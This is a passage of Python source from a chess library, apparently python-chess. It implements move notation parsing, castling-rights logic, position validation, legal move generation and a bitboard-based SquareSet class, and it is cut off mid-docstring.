RANK_NAMES[square_rank(move.from_square)] elif capture: san += FILE_NAMES[square_file(move.from_square)] # Captures. if capture: san += "x" elif long: san += "-" # Destination square. san += SQUARE_NAMES[move.to_square] # Promotion. if move.promotion: san += "=" + piece_symbol(move.promotion).upper() return san def variation_san(self, variation: Iterable[Move]) -> str: """ Given a sequence of moves, returns a string representing the sequence in standard algebraic notation (e.g., ``1. e4 e5 2. Nf3 Nc6`` or ``37...Bg6 38. fxg6``). The board will not be modified as a result of calling this. :raises: :exc:`IllegalMoveError` if any moves in the sequence are illegal. """ board = self.copy(stack=False) san: List[str] = [] for move in variation: if not board.is_legal(move): raise IllegalMoveError(f"illegal move {move} in position {board.fen()}") if board.turn == WHITE: san.append(f"{board.fullmove_number}. {board.san_and_push(move)}") elif not san: san.append(f"{board.fullmove_number}...{board.san_and_push(move)}") else: san.append(board.san_and_push(move)) return " ".join(san) def parse_san(self, san: str) -> Move: """ Uses the current position as the context to parse a move in standard algebraic notation and returns the corresponding move object. Ambiguous moves are rejected. Overspecified moves (including long algebraic notation) are accepted. Some common syntactical deviations are also accepted. The returned move is guaranteed to be either legal or a null move. :raises: :exc:`ValueError` (specifically an exception specified below) if the SAN is invalid, illegal or ambiguous. - :exc:`InvalidMoveError` if the SAN is syntactically invalid. - :exc:`IllegalMoveError` if the SAN is illegal. - :exc:`AmbiguousMoveError` if the SAN is ambiguous. """ # Castling. try: if san in ["O-O", "O-O+", "O-O#", "0-0", "0-0+", "0-0#"]: return next(move for move in self.generate_castling_moves() if self.is_kingside_castling(move)) elif san in ["O-O-O", "O-O-O+", "O-O-O#", "0-0-0", "0-0-0+", "0-0-0#"]: return next(move for move in self.generate_castling_moves() if self.is_queenside_castling(move)) except StopIteration: raise IllegalMoveError(f"illegal san: {san!r} in {self.fen()}") # Match normal moves. match = SAN_REGEX.match(san) if not match: # Null moves. if san in ["--", "Z0", "0000", "@@@@"]: return Move.null() elif "," in san: raise InvalidMoveError(f"unsupported multi-leg move: {san!r}") else: raise InvalidMoveError(f"invalid san: {san!r}") # Get target square. Mask our own pieces to exclude castling moves. to_square = SQUARE_NAMES.index(match.group(4)) to_mask = BB_SQUARES[to_square] & ~self.occupied_co[self.turn] # Get the promotion piece type. p = match.group(5) promotion = PIECE_SYMBOLS.index(p[-1].lower()) if p else None # Filter by original square. from_mask = BB_ALL from_file = None from_rank = None if match.group(2): from_file = FILE_NAMES.index(match.group(2)) from_mask &= BB_FILES[from_file] if match.group(3): from_rank = int(match.group(3)) - 1 from_mask &= BB_RANKS[from_rank] # Filter by piece type. if match.group(1): piece_type = PIECE_SYMBOLS.index(match.group(1).lower()) from_mask &= self.pieces_mask(piece_type, self.turn) elif from_file is not None and from_rank is not None: # Allow fully specified moves, even if they are not pawn moves, # including castling moves. move = self.find_move(square(from_file, from_rank), to_square, promotion) if move.promotion == promotion: return move else: raise IllegalMoveError(f"missing promotion piece type: {san!r} in {self.fen()}") else: from_mask &= self.pawns # Do not allow pawn captures if file is not specified. if from_file is None: from_mask &= BB_FILES[square_file(to_square)] # Match legal moves. matched_move = None for move in self.generate_legal_moves(from_mask, to_mask): if move.promotion != promotion: continue if matched_move: raise AmbiguousMoveError(f"ambiguous san: {san!r} in {self.fen()}") matched_move = move if not matched_move: raise IllegalMoveError(f"illegal san: {san!r} in {self.fen()}") return matched_move def push_san(self, san: str) -> Move: """ Parses a move in standard algebraic notation, makes the move and puts it onto the move stack. Returns the move. :raises: :exc:`ValueError` (specifically an exception specified below) if neither legal nor a null move. - :exc:`InvalidMoveError` if the SAN is syntactically invalid. - :exc:`IllegalMoveError` if the SAN is illegal. - :exc:`AmbiguousMoveError` if the SAN is ambiguous. """ move = self.parse_san(san) self.push(move) return move def uci(self, move: Move, *, chess960: Optional[bool] = None) -> str: """ Gets the UCI notation of the move. *chess960* defaults to the mode of the board. Pass ``True`` to force Chess960 mode. """ if chess960 is None: chess960 = self.chess960 move = self._to_chess960(move) move = self._from_chess960(chess960, move.from_square, move.to_square, move.promotion, move.drop) return move.uci() def parse_uci(self, uci: str) -> Move: """ Parses the given move in UCI notation. Supports both Chess960 and standard UCI notation. The returned move is guaranteed to be either legal or a null move. :raises: :exc:`ValueError` (specifically an exception specified below) if the move is invalid or illegal in the current position (but not a null move). - :exc:`InvalidMoveError` if the UCI is syntactically invalid. - :exc:`IllegalMoveError` if the UCI is illegal. """ move = Move.from_uci(uci) if not move: return move move = self._to_chess960(move) move = self._from_chess960(self.chess960, move.from_square, move.to_square, move.promotion, move.drop) if not self.is_legal(move): raise IllegalMoveError(f"illegal uci: {uci!r} in {self.fen()}") return move def push_uci(self, uci: str) -> Move: """ Parses a move in UCI notation and puts it on the move stack. Returns the move. :raises: :exc:`ValueError` (specifically an exception specified below) if the move is invalid or illegal in the current position (but not a null move). - :exc:`InvalidMoveError` if the UCI is syntactically invalid. - :exc:`IllegalMoveError` if the UCI is illegal. """ move = self.parse_uci(uci) self.push(move) return move def xboard(self, move: Move, chess960: Optional[bool] = None) -> str: if chess960 is None: chess960 = self.chess960 if not chess960 or not self.is_castling(move): return move.xboard() elif self.is_kingside_castling(move): return "O-O" else: return "O-O-O" def parse_xboard(self, xboard: str) -> Move: return self.parse_san(xboard) push_xboard = push_san def is_en_passant(self, move: Move) -> bool: """Checks if the given pseudo-legal move is an en passant capture.""" return (self.ep_square == move.to_square and bool(self.pawns & BB_SQUARES[move.from_square]) and abs(move.to_square - move.from_square) in [7, 9] and not self.occupied & BB_SQUARES[move.to_square]) def is_capture(self, move: Move) -> bool: """Checks if the given pseudo-legal move is a capture.""" touched = BB_SQUARES[move.from_square] ^ BB_SQUARES[move.to_square] return bool(touched & self.occupied_co[not self.turn]) or self.is_en_passant(move) def is_zeroing(self, move: Move) -> bool: """Checks if the given pseudo-legal move is a capture or pawn move.""" touched = BB_SQUARES[move.from_square] ^ BB_SQUARES[move.to_square] return bool(touched & self.pawns or touched & self.occupied_co[not self.turn] or move.drop == PAWN) def _reduces_castling_rights(self, move: Move) -> bool: cr = self.clean_castling_rights() touched = BB_SQUARES[move.from_square] ^ BB_SQUARES[move.to_square] return bool(touched & cr or cr & BB_RANK_1 and touched & self.kings & self.occupied_co[WHITE] & ~self.promoted or cr & BB_RANK_8 and touched & self.kings & self.occupied_co[BLACK] & ~self.promoted) def is_irreversible(self, move: Move) -> bool: """ Checks if the given pseudo-legal move is irreversible. In standard chess, pawn moves, captures, moves that destroy castling rights and moves that cede en passant are irreversible. This method has false-negatives with forced lines. For example, a check that will force the king to lose castling rights is not considered irreversible. Only the actual king move is. """ return self.is_zeroing(move) or self._reduces_castling_rights(move) or self.has_legal_en_passant() def is_castling(self, move: Move) -> bool: """Checks if the given pseudo-legal move is a castling move.""" if self.kings & BB_SQUARES[move.from_square]: diff = square_file(move.from_square) - square_file(move.to_square) return abs(diff) > 1 or bool(self.rooks & self.occupied_co[self.turn] & BB_SQUARES[move.to_square]) return False def is_kingside_castling(self, move: Move) -> bool: """ Checks if the given pseudo-legal move is a kingside castling move. """ return self.is_castling(move) and square_file(move.to_square) > square_file(move.from_square) def is_queenside_castling(self, move: Move) -> bool: """ Checks if the given pseudo-legal move is a queenside castling move. """ return self.is_castling(move) and square_file(move.to_square) < square_file(move.from_square) def clean_castling_rights(self) -> Bitboard: """ Returns valid castling rights filtered from :data:`~chess.Board.castling_rights`. """ if self._stack: # No new castling rights are assigned in a game, so we can assume # they were filtered already. return self.castling_rights castling = self.castling_rights & self.rooks white_castling = castling & BB_RANK_1 & self.occupied_co[WHITE] black_castling = castling & BB_RANK_8 & self.occupied_co[BLACK] if not self.chess960: # The rooks must be on a1, h1, a8 or h8. white_castling &= (BB_A1 | BB_H1) black_castling &= (BB_A8 | BB_H8) # The kings must be on e1 or e8. if not self.occupied_co[WHITE] & self.kings & ~self.promoted & BB_E1: white_castling = 0 if not self.occupied_co[BLACK] & self.kings & ~self.promoted & BB_E8: black_castling = 0 return white_castling | black_castling else: # The kings must be on the back rank. white_king_mask = self.occupied_co[WHITE] & self.kings & BB_RANK_1 & ~self.promoted black_king_mask = self.occupied_co[BLACK] & self.kings & BB_RANK_8 & ~self.promoted if not white_king_mask: white_castling = 0 if not black_king_mask: black_castling = 0 # There are only two ways of castling, a-side and h-side, and the # king must be between the rooks. white_a_side = white_castling & -white_castling white_h_side = BB_SQUARES[msb(white_castling)] if white_castling else 0 if white_a_side and msb(white_a_side) > msb(white_king_mask): white_a_side = 0 if white_h_side and msb(white_h_side) < msb(white_king_mask): white_h_side = 0 black_a_side = black_castling & -black_castling black_h_side = BB_SQUARES[msb(black_castling)] if black_castling else BB_EMPTY if black_a_side and msb(black_a_side) > msb(black_king_mask): black_a_side = 0 if black_h_side and msb(black_h_side) < msb(black_king_mask): black_h_side = 0 # Done. return black_a_side | black_h_side | white_a_side | white_h_side def has_castling_rights(self, color: Color) -> bool: """Checks if the given side has castling rights.""" backrank = BB_RANK_1 if color == WHITE else BB_RANK_8 return bool(self.clean_castling_rights() & backrank) def has_kingside_castling_rights(self, color: Color) -> bool: """ Checks if the given side has kingside (that is h-side in Chess960) castling rights. """ backrank = BB_RANK_1 if color == WHITE else BB_RANK_8 king_mask = self.kings & self.occupied_co[color] & backrank & ~self.promoted if not king_mask: return False castling_rights = self.clean_castling_rights() & backrank while castling_rights: rook = castling_rights & -castling_rights if rook > king_mask: return True castling_rights &= castling_rights - 1 return False def has_queenside_castling_rights(self, color: Color) -> bool: """ Checks if the given side has queenside (that is a-side in Chess960) castling rights. """ backrank = BB_RANK_1 if color == WHITE else BB_RANK_8 king_mask = self.kings & self.occupied_co[color] & backrank & ~self.promoted if not king_mask: return False castling_rights = self.clean_castling_rights() & backrank while castling_rights: rook = castling_rights & -castling_rights if rook < king_mask: return True castling_rights &= castling_rights - 1 return False def has_chess960_castling_rights(self) -> bool: """ Checks if there are castling rights that are only possible in Chess960. """ # Get valid Chess960 castling rights. chess960 = self.chess960 self.chess960 = True castling_rights = self.clean_castling_rights() self.chess960 = chess960 # Standard chess castling rights can only be on the standard # starting rook squares. if castling_rights & ~BB_CORNERS: return True # If there are any castling rights in standard chess, the king must be # on e1 or e8. if castling_rights & BB_RANK_1 and not self.occupied_co[WHITE] & self.kings & BB_E1: return True if castling_rights & BB_RANK_8 and not self.occupied_co[BLACK] & self.kings & BB_E8: return True return False def status(self) -> Status: """ Gets a bitmask of possible problems with the position. :data:`~chess.STATUS_VALID` if all basic validity requirements are met. This does not imply that the position is actually reachable with a series of legal moves from the starting position. Otherwise, bitwise combinations of: :data:`~chess.STATUS_NO_WHITE_KING`, :data:`~chess.STATUS_NO_BLACK_KING`, :data:`~chess.STATUS_TOO_MANY_KINGS`, :data:`~chess.STATUS_TOO_MANY_WHITE_PAWNS`, :data:`~chess.STATUS_TOO_MANY_BLACK_PAWNS`, :data:`~chess.STATUS_PAWNS_ON_BACKRANK`, :data:`~chess.STATUS_TOO_MANY_WHITE_PIECES`, :data:`~chess.STATUS_TOO_MANY_BLACK_PIECES`, :data:`~chess.STATUS_BAD_CASTLING_RIGHTS`, :data:`~chess.STATUS_INVALID_EP_SQUARE`, :data:`~chess.STATUS_OPPOSITE_CHECK`, :data:`~chess.STATUS_EMPTY`, :data:`~chess.STATUS_RACE_CHECK`, :data:`~chess.STATUS_RACE_OVER`, :data:`~chess.STATUS_RACE_MATERIAL`, :data:`~chess.STATUS_TOO_MANY_CHECKERS`, :data:`~chess.STATUS_IMPOSSIBLE_CHECK`. """ errors = STATUS_VALID # There must be at least one piece. if not self.occupied: errors |= STATUS_EMPTY # There must be exactly one king of each color. if not self.occupied_co[WHITE] & self.kings: errors |= STATUS_NO_WHITE_KING if not self.occupied_co[BLACK] & self.kings: errors |= STATUS_NO_BLACK_KING if popcount(self.occupied & self.kings) > 2: errors |= STATUS_TOO_MANY_KINGS # There can not be more than 16 pieces of any color. if popcount(self.occupied_co[WHITE]) > 16: errors |= STATUS_TOO_MANY_WHITE_PIECES if popcount(self.occupied_co[BLACK]) > 16: errors |= STATUS_TOO_MANY_BLACK_PIECES # There can not be more than 8 pawns of any color. if popcount(self.occupied_co[WHITE] & self.pawns) > 8: errors |= STATUS_TOO_MANY_WHITE_PAWNS if popcount(self.occupied_co[BLACK] & self.pawns) > 8: errors |= STATUS_TOO_MANY_BLACK_PAWNS # Pawns can not be on the back rank. if self.pawns & BB_BACKRANKS: errors |= STATUS_PAWNS_ON_BACKRANK # Castling rights. if self.castling_rights != self.clean_castling_rights(): errors |= STATUS_BAD_CASTLING_RIGHTS # En passant. valid_ep_square = self._valid_ep_square() if self.ep_square != valid_ep_square: errors |= STATUS_INVALID_EP_SQUARE # Side to move giving check. if self.was_into_check(): errors |= STATUS_OPPOSITE_CHECK # More than the maximum number of possible checkers in the variant. checkers = self.checkers_mask() our_kings = self.kings & self.occupied_co[self.turn] & ~self.promoted if checkers: if popcount(checkers) > 2: errors |= STATUS_TOO_MANY_CHECKERS if valid_ep_square is not None: pushed_to = valid_ep_square ^ A2 pushed_from = valid_ep_square ^ A4 occupied_before = (self.occupied & ~BB_SQUARES[pushed_to]) | BB_SQUARES[pushed_from] if popcount(checkers) > 1 or ( msb(checkers) != pushed_to and self._attacked_for_king(our_kings, occupied_before)): errors |= STATUS_IMPOSSIBLE_CHECK else: if popcount(checkers) > 2 or (popcount(checkers) == 2 and ray(lsb(checkers), msb(checkers)) & our_kings): errors |= STATUS_IMPOSSIBLE_CHECK return errors def _valid_ep_square(self) -> Optional[Square]: if not self.ep_square: return None if self.turn == WHITE: ep_rank = 5 pawn_mask = shift_down(BB_SQUARES[self.ep_square]) seventh_rank_mask = shift_up(BB_SQUARES[self.ep_square]) else: ep_rank = 2 pawn_mask = shift_up(BB_SQUARES[self.ep_square]) seventh_rank_mask = shift_down(BB_SQUARES[self.ep_square]) # The en passant square must be on the third or sixth rank. if square_rank(self.ep_square) != ep_rank: return None # The last move must have been a double pawn push, so there must # be a pawn of the correct color on the fourth or fifth rank. if not self.pawns & self.occupied_co[not self.turn] & pawn_mask: return None # And the en passant square must be empty. if self.occupied & BB_SQUARES[self.ep_square]: return None # And the second rank must be empty. if self.occupied & seventh_rank_mask: return None return self.ep_square def is_valid(self) -> bool: """ Checks some basic validity requirements. See :func:`~chess.Board.status()` for details. """ return self.status() == STATUS_VALID def _ep_skewered(self, king: Square, capturer: Square) -> bool: # Handle the special case where the king would be in check if the # pawn and its capturer disappear from the rank. # Vertical skewers of the captured pawn are not possible. (Pins on # the capturer are not handled here.) assert self.ep_square is not None last_double = self.ep_square + (-8 if self.turn == WHITE else 8) occupancy = (self.occupied & ~BB_SQUARES[last_double] & ~BB_SQUARES[capturer] | BB_SQUARES[self.ep_square]) # Horizontal attack on the fifth or fourth rank. horizontal_attackers = self.occupied_co[not self.turn] & (self.rooks | self.queens) if BB_RANK_ATTACKS[king][BB_RANK_MASKS[king] & occupancy] & horizontal_attackers: return True # Diagonal skewers. These are not actually possible in a real game, # because if the latest double pawn move covers a diagonal attack, # then the other side would have been in check already. diagonal_attackers = self.occupied_co[not self.turn] & (self.bishops | self.queens) if BB_DIAG_ATTACKS[king][BB_DIAG_MASKS[king] & occupancy] & diagonal_attackers: return True return False def _slider_blockers(self, king: Square) -> Bitboard: rooks_and_queens = self.rooks | self.queens bishops_and_queens = self.bishops | self.queens snipers = ((BB_RANK_ATTACKS[king][0] & rooks_and_queens) | (BB_FILE_ATTACKS[king][0] & rooks_and_queens) | (BB_DIAG_ATTACKS[king][0] & bishops_and_queens)) blockers = 0 for sniper in scan_reversed(snipers & self.occupied_co[not self.turn]): b = between(king, sniper) & self.occupied # Add to blockers if exactly one piece in-between. if b and BB_SQUARES[msb(b)] == b: blockers |= b return blockers & self.occupied_co[self.turn] def _is_safe(self, king: Square, blockers: Bitboard, move: Move) -> bool: if move.from_square == king: if self.is_castling(move): return True else: return not self.is_attacked_by(not self.turn, move.to_square) elif self.is_en_passant(move): return bool(self.pin_mask(self.turn, move.from_square) & BB_SQUARES[move.to_square] and not self._ep_skewered(king, move.from_square)) else: return bool(not blockers & BB_SQUARES[move.from_square] or ray(move.from_square, move.to_square) & BB_SQUARES[king]) def _generate_evasions(self, king: Square, checkers: Bitboard, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: sliders = checkers & (self.bishops | self.rooks | self.queens) attacked = 0 for checker in scan_reversed(sliders): attacked |= ray(king, checker) & ~BB_SQUARES[checker] if BB_SQUARES[king] & from_mask: for to_square in scan_reversed(BB_KING_ATTACKS[king] & ~self.occupied_co[self.turn] & ~attacked & to_mask): yield Move(king, to_square) checker = msb(checkers) if BB_SQUARES[checker] == checkers: # Capture or block a single checker. target = between(king, checker) | checkers yield from self.generate_pseudo_legal_moves(~self.kings & from_mask, target & to_mask) # Capture the checking pawn en passant (but avoid yielding # duplicate moves). if self.ep_square and not BB_SQUARES[self.ep_square] & target: last_double = self.ep_square + (-8 if self.turn == WHITE else 8) if last_double == checker: yield from self.generate_pseudo_legal_ep(from_mask, to_mask) def generate_legal_moves(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: if self.is_variant_end(): return king_mask = self.kings & self.occupied_co[self.turn] if king_mask: king = msb(king_mask) blockers = self._slider_blockers(king) checkers = self.attackers_mask(not self.turn, king) if checkers: for move in self._generate_evasions(king, checkers, from_mask, to_mask): if self._is_safe(king, blockers, move): yield move else: for move in self.generate_pseudo_legal_moves(from_mask, to_mask): if self._is_safe(king, blockers, move): yield move else: yield from self.generate_pseudo_legal_moves(from_mask, to_mask) def generate_legal_ep(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: if self.is_variant_end(): return for move in self.generate_pseudo_legal_ep(from_mask, to_mask): if not self.is_into_check(move): yield move def generate_legal_captures(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: return itertools.chain( self.generate_legal_moves(from_mask, to_mask & self.occupied_co[not self.turn]), self.generate_legal_ep(from_mask, to_mask)) def _attacked_for_king(self, path: Bitboard, occupied: Bitboard) -> bool: return any(self.attackers_mask(not self.turn, sq, occupied) for sq in scan_reversed(path)) def generate_castling_moves(self, from_mask: Bitboard = BB_ALL, to_mask: Bitboard = BB_ALL) -> Iterator[Move]: if self.is_variant_end(): return backrank = BB_RANK_1 if self.turn == WHITE else BB_RANK_8 king = self.occupied_co[self.turn] & self.kings & ~self.promoted & backrank & from_mask king &= -king if not king: return bb_c = BB_FILE_C & backrank bb_d = BB_FILE_D & backrank bb_f = BB_FILE_F & backrank bb_g = BB_FILE_G & backrank for candidate in scan_reversed(self.clean_castling_rights() & backrank & to_mask): rook = BB_SQUARES[candidate] a_side = rook < king king_to = bb_c if a_side else bb_g rook_to = bb_d if a_side else bb_f king_path = between(msb(king), msb(king_to)) rook_path = between(candidate, msb(rook_to)) if not ((self.occupied ^ king ^ rook) & (king_path | rook_path | king_to | rook_to) or self._attacked_for_king(king_path | king, self.occupied ^ king) or self._attacked_for_king(king_to, self.occupied ^ king ^ rook ^ rook_to)): yield self._from_chess960(self.chess960, msb(king), candidate) def _from_chess960(self, chess960: bool, from_square: Square, to_square: Square, promotion: Optional[PieceType] = None, drop: Optional[PieceType] = None) -> Move: if not chess960 and promotion is None and drop is None: if from_square == E1 and self.kings & BB_E1: if to_square == H1: return Move(E1, G1) elif to_square == A1: return Move(E1, C1) elif from_square == E8 and self.kings & BB_E8: if to_square == H8: return Move(E8, G8) elif to_square == A8: return Move(E8, C8) return Move(from_square, to_square, promotion, drop) def _to_chess960(self, move: Move) -> Move: if move.from_square == E1 and self.kings & BB_E1: if move.to_square == G1 and not self.rooks & BB_G1: return Move(E1, H1) elif move.to_square == C1 and not self.rooks & BB_C1: return Move(E1, A1) elif move.from_square == E8 and self.kings & BB_E8: if move.to_square == G8 and not self.rooks & BB_G8: return Move(E8, H8) elif move.to_square == C8 and not self.rooks & BB_C8: return Move(E8, A8) return move def _transposition_key(self) -> Hashable: return (self.pawns, self.knights, self.bishops, self.rooks, self.queens, self.kings, self.occupied_co[WHITE], self.occupied_co[BLACK], self.turn, self.clean_castling_rights(), self.ep_square if self.has_legal_en_passant() else None) def __repr__(self) -> str: if not self.chess960: return f"{type(self).__name__}({self.fen()!r})" else: return f"{type(self).__name__}({self.fen()!r}, chess960=True)" def _repr_svg_(self) -> str: import chess.svg return chess.svg.board( board=self, size=390, lastmove=self.peek() if self.move_stack else None, check=self.king(self.turn) if self.is_check() else None) def __eq__(self, board: object) -> bool: if isinstance(board, Board): return ( self.halfmove_clock == board.halfmove_clock and self.fullmove_number == board.fullmove_number and type(self).uci_variant == type(board).uci_variant and self._transposition_key() == board._transposition_key()) else: return NotImplemented def apply_transform(self, f: Callable[[Bitboard], Bitboard]) -> None: super().apply_transform(f) self.clear_stack() self.ep_square = None if self.ep_square is None else msb(f(BB_SQUARES[self.ep_square])) self.castling_rights = f(self.castling_rights) def transform(self, f: Callable[[Bitboard], Bitboard]) -> Self: board = self.copy(stack=False) board.apply_transform(f) return board def apply_mirror(self) -> None: super().apply_mirror() self.turn = not self.turn def mirror(self) -> Self: """ Returns a mirrored copy of the board. The board is mirrored vertically and piece colors are swapped, so that the position is equivalent modulo color. Also swap the "en passant" square, castling rights and turn. Alternatively, :func:`~chess.Board.apply_mirror()` can be used to mirror the board. """ board = self.copy() board.apply_mirror() return board def copy(self, *, stack: Union[bool, int] = True) -> Self: """ Creates a copy of the board. Defaults to copying the entire move stack. Alternatively, *stack* can be ``False``, or an integer to copy a limited number of moves. """ board = super().copy() board.chess960 = self.chess960 board.ep_square = self.ep_square board.castling_rights = self.castling_rights board.turn = self.turn board.fullmove_number = self.fullmove_number board.halfmove_clock = self.halfmove_clock if stack: stack = len(self.move_stack) if stack is True else stack board.move_stack = [copy.copy(move) for move in self.move_stack[-stack:]] board._stack = self._stack[-stack:] return board @classmethod def empty(cls: Type[BoardT], *, chess960: bool = False) -> BoardT: """Creates a new empty board. Also see :func:`~chess.Board.clear()`.""" return cls(None, chess960=chess960) @classmethod def from_epd(cls: Type[BoardT], epd: str, *, chess960: bool = False) -> Tuple[BoardT, Dict[str, Union[None, str, int, float, Move, List[Move]]]]: """ Creates a new board from an EPD string. See :func:`~chess.Board.set_epd()`. Returns the board and the dictionary of parsed operations as a tuple. """ board = cls.empty(chess960=chess960) return board, board.set_epd(epd) @classmethod def from_chess960_pos(cls: Type[BoardT], scharnagl: int) -> BoardT: board = cls.empty(chess960=True) board.set_chess960_pos(scharnagl) return board class PseudoLegalMoveGenerator: def __init__(self, board: Board) -> None: self.board = board def __bool__(self) -> bool: return any(self.board.generate_pseudo_legal_moves()) def count(self) -> int: # List conversion is faster than iterating. return len(list(self)) def __iter__(self) -> Iterator[Move]: return self.board.generate_pseudo_legal_moves() def __contains__(self, move: Move) -> bool: return self.board.is_pseudo_legal(move) def __repr__(self) -> str: builder: List[str] = [] for move in self: if self.board.is_legal(move): builder.append(self.board.san(move)) else: builder.append(self.board.uci(move)) sans = ", ".join(builder) return f"<PseudoLegalMoveGenerator at {id(self):#x} ({sans})>" class LegalMoveGenerator: def __init__(self, board: Board) -> None: self.board = board def __bool__(self) -> bool: return any(self.board.generate_legal_moves()) def count(self) -> int: # List conversion is faster than iterating. return len(list(self)) def __iter__(self) -> Iterator[Move]: return self.board.generate_legal_moves() def __contains__(self, move: Move) -> bool: return self.board.is_legal(move) def __repr__(self) -> str: sans = ", ".join(self.board.san(move) for move in self) return f"<LegalMoveGenerator at {id(self):#x} ({sans})>" IntoSquareSet: TypeAlias = Union[SupportsInt, Iterable[Square]] class SquareSet: """ A set of squares. >>> import chess >>> >>> squares = chess.SquareSet([chess.A8, chess.A1]) >>> squares SquareSet(0x0100_0000_0000_0001) >>> squares = chess.SquareSet(chess.BB_A8 | chess.BB_RANK_1) >>> squares SquareSet(0x0100_0000_0000_00ff) >>> print(squares) 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1 1 1 1 1 1 1 >>> len(squares) 9 >>> bool(squares) True >>> chess.B1 in squares True >>> for square in squares: ... # 0 -- chess.A1 ... # 1 -- chess.B1 ... # 2 -- chess.C1 ... # 3 -- chess.D1 ... # 4 -- chess.E1 ... # 5 -- chess.F1 ... # 6 -- chess.G1 ... # 7 -- chess.H1 ... # 56 -- chess.A8 ... print(square) ... 0 1 2 3 4 5 6 7 56 >>> list(squares) [0, 1, 2, 3, 4, 5, 6, 7, 56] Square sets are internally represented by 64-bit integer masks of the included squares. Bitwise operations can be used to compute unions, intersections and shifts. >>> int(squares) 72057594037928191 Also supports common set operations like :func:`~chess.SquareSet.issubset()`, :func:`~chess.SquareSet.issuperset()`, :func:`~chess.SquareSet.union()`, :func:`~chess.SquareSet.intersection()`, :func:`~chess.SquareSet.difference()`, :func:`~chess.SquareSet.symmetric_difference()` and :func:`~chess.SquareSet.copy()` as well as :func:`~chess.SquareSet.update()`, :func:`~chess.SquareSet.intersection_update()`, :func:`~chess.SquareSet.difference_update()`, :func:`~chess.SquareSet.symmetric_difference_update()` and :func:`~chess.SquareSet.clear()`. """ def __init__(self, squares: IntoSquareSet = BB_EMPTY) -> None: try: self.mask: Bitboard = squares.__int__() & BB_ALL # type: ignore return except AttributeError: self.mask = 0 # Try squares as an iterable. Not under except clause for nicer # backtraces. for square in squares: # type: ignore self.add(square) # Set def __contains__(self, square: Square) -> bool: return bool(BB_SQUARES[square] & self.mask) def __iter__(self) -> Iterator[Square]: return scan_forward(self.mask) def __reversed__(self) -> Iterator[Square]: return scan_reversed(self.mask) def __len__(self) -> int: return popcount(self.mask) # MutableSet def add(self, square: Square) -> None: """Adds a square to the set.""" self.mask |= BB_SQUARES[square] def discard(self, square: Square) -> None: """Discards a square from the set.""" self.mask &= ~BB_SQUARES[square] # frozenset def isdisjoint(self, other: IntoSquareSet) -> bool: """Tests if the square sets are disjoint.""" return not bool(self & other) def issubset(self, other: IntoSquareSet) -> bool: """Tests if this square set is a subset of another.""" return not bool(self & ~SquareSet(other)) def issuperset(self, other: IntoSquareSet) -> bool: """Tests if this square set is a superset of another.""" return not bool(~self & other) def union(self, other: IntoSquareSet) -> SquareSet: return self | other def __or__(self, other: IntoSquareSet) -> SquareSet: r = SquareSet(other) r.mask |= self.mask return r def intersection(self, other: IntoSquareSet) -> SquareSet: return self & other def __and__(self, other: IntoSquareSet) -> SquareSet: r = SquareSet(other) r.mask &= self.mask return r def difference(self, other: IntoSquareSet) -> SquareSet: return self - other def __sub__(self, other: IntoSquareSet) -> SquareSet: r = SquareSet(other) r.mask = self.mask & ~r.mask return r def symmetric_difference(self, other: IntoSquareSet) -> SquareSet: return self ^ other def __xor__(self, other: IntoSquareSet) -> SquareSet: r = SquareSet(other) r.mask ^= self.mask return r def copy(self) -> SquareSet: return SquareSet(self.mask) # set def update(self, *others: IntoSquareSet) -> None: for other in others: self |= other def __ior__(self, other: IntoSquareSet) -> SquareSet: self.mask |= SquareSet(other).mask return self def intersection_update(self, *others: IntoSquareSet) -> None: for other in others: self &= other def __iand__(self, other: IntoSquareSet) -> SquareSet: self.mask &= SquareSet(other).mask return self def difference_update(self, other: IntoSquareSet) -> None: self -= other def __isub__(self, other: IntoSquareSet) -> SquareSet: self.mask &= ~SquareSet(other).mask return self def symmetric_difference_update(self, other: IntoSquareSet) -> None: self ^= other def __ixor__(self, other: IntoSquareSet) -> SquareSet: self.mask ^= SquareSet(other).mask return self def remove(self, square: Square) -> None: """ Removes a square from the set. :raises: :exc:`KeyError` if the given *square* was not in the set. """ mask = BB_SQUARES[square] if self.mask & mask: self.mask ^= mask else: raise KeyError(square) def pop(self) -> Square: """ Removes and returns a square from the set. :raises: :exc:`KeyError` if the set is empty. """ if not self.mask: raise KeyError("pop from empty SquareSet") square = lsb(self.mask) self.mask &= (self.mask - 1) return square def clear(self) -> None: """Removes all elements from this set.""" self.mask = BB_EMPTY # SquareSet def carry_rippler(self) -> Iterator[Bitboard]: """Iterator over the subsets of this set.""" return _carry_rippler(self.mask) def mirror(self) -> SquareSet: """Returns a vertically mirrored copy of this square set.""" return SquareSet(flip_vertical(self.mask)) def tolist(self) -> List[bool]: """Converts the set to a list of 64 bools.""" result = [False] * 64 for square in self: result[square] = True return result def __bool__(self) -> bool: return bool(self.mask) def __eq__(self, other: object) -> bool: try: return self.mask == SquareSet(other).mask # type: ignore except (TypeError, ValueError): return NotImplemented def __lshift__(self, shift: int) -> SquareSet: return SquareSet((self.mask << shift) & BB_ALL) def __rshift__(self, shift: int) -> SquareSet: return SquareSet(self.mask >> shift) def __ilshift__(self, shift: int) -> SquareSet: self.mask = (self.mask << shift) & BB_ALL return self def __irshift__(self, shift: int) -> SquareSet: self.mask >>= shift return self def __invert__(self) -> SquareSet: return SquareSet(~self.mask & BB_ALL) def __int__(self) -> int: return self.mask def __index__(self) -> int: return self.mask def __repr__(self) -> str: return f"SquareSet({self.mask:#021_x})" def __str__(self) -> str: builder: List[str] = [] for square in SQUARES_180: mask = BB_SQUARES[square] builder.append("1" if self.mask & mask else ".") if not mask & BB_FILE_H: builder.append(" ") elif square != H1: builder.append("\n") return "".join(builder) def _repr_svg_(self) -> str: import chess.svg return chess.svg.board(squares=self, size=390) @classmethod def ray(cls, a: Square, b: Square) -> SquareSet: """ All squares on the rank, file or diagonal with the two squares, if they are aligned. >>> import chess >>> >>> print(chess.SquareSet.ray(chess.E2, chess.B5)) . . . . . . . . . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . 1 . . """ return cls(ray(a, b)) @classmethod def between(cls, a: Square, b: Square) -> SquareSet: """ All squares on the 